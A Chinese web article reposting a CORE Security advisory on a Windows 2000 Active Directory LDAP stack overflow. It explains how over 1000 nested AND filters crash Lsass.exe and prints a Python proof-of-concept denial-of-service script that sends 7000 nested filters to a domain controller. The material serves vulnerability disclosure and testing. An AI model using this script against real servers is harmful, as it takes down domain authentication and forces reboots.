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开发学院操作系统windows 2008 活动目录远程堆栈溢出缺陷 阅读

活动目录远程堆栈溢出缺陷

 2008-11-27 12:48:39 来源:WEB开发网   
核心提示:涉及程序:Win2k Active Directory描述:Microsoft Windows 活动目录远程堆栈溢出缺陷详细:Windows Active Directory(活动目录)是Windows 2000结构的重要组件,是Microsoft提供的强大的目录服务系统,活动目录远程堆栈溢出缺陷, Windows活动

涉及程序:Win2k Active Directory

描述:Microsoft Windows 活动目录远程堆栈溢出缺陷

详细:Windows Active Directory(活动目录)是Windows 2000结构的重要组件,是Microsoft提供的强大的目录服务系统。

Windows活动目录的LDAP 3搜索请求功能对用户提交请求缺少正确缓冲区边界检查,远程攻击者可利用此缺陷使Lsass.exe服务崩溃,触发缓冲区溢出。

通过活动目录提供的目录服务基于LDAP协议和并使用协议存储和获得Active目录对象。活动目录中使用LDAP 3的'search request'请求功能存在问题,攻击者如果构建超过1000个"AND"的请求,并发送给服务器,可导致触发堆栈溢出,使Lsass.exe服务崩溃,系统会在30秒内重新启动。

攻击方法:

CORE Security Technologies Advisories (advisories@coresecurity.com)提供了如下测试方法:

下面是一段Python测试脚本:

class ActiveDirectoryDOS( Ldap ):
def __init__(self):
self._s = None
self.host = '192.168.0.1'
self.basedn = 'dc=bugweek,dc=corelabs,dc=core-sdi,dc=com'
self.port = 389
self.buffer = ''
self.msg_id = 1
Ldap.__init__()
def generateFilter_BinaryOp( self, filter ):
filterBuffer = asn1.OCTETSTRING(filter[1]).encode() + asn1.OCTETSTRING(filter[2]).encode()
filterBuffer = self.encapsulateHeader( filter[0], filterBuffer )
return filterBuffer
def generateFilter_RecursiveBinaryOp( self, filter, numTimes):
simpleBinOp = self.generateFilter_BinaryOp( filter )
filterBuffer = simpleBinOp
for cnt in range( 0, numTimes ):
filterBuffer = self.encapsulateHeader( self.LDAP_FILTER_AND, filterBuffer + simpleBinOp )
return filterBuffer
def searchSub( self, filterBuffer ):
self.bindRequest()
self.searchRequest( filterBuffer )
def run(self, host = '', basedn = '', name = '' ):
# the machine must not exist
machine_name = 'xaxax'
filterComputerNotInDir = (Ldap.LDAP_FILTER_EQUALITY,'name',machine_name)
# execute the anonymous query
print 'executing query'
filterBuffer = self.generateFilter_RecursiveBinaryOp( filterComputerNotInDir, 7000 )
self.searchSub( filterBuffer )

Tags:活动 目录 远程

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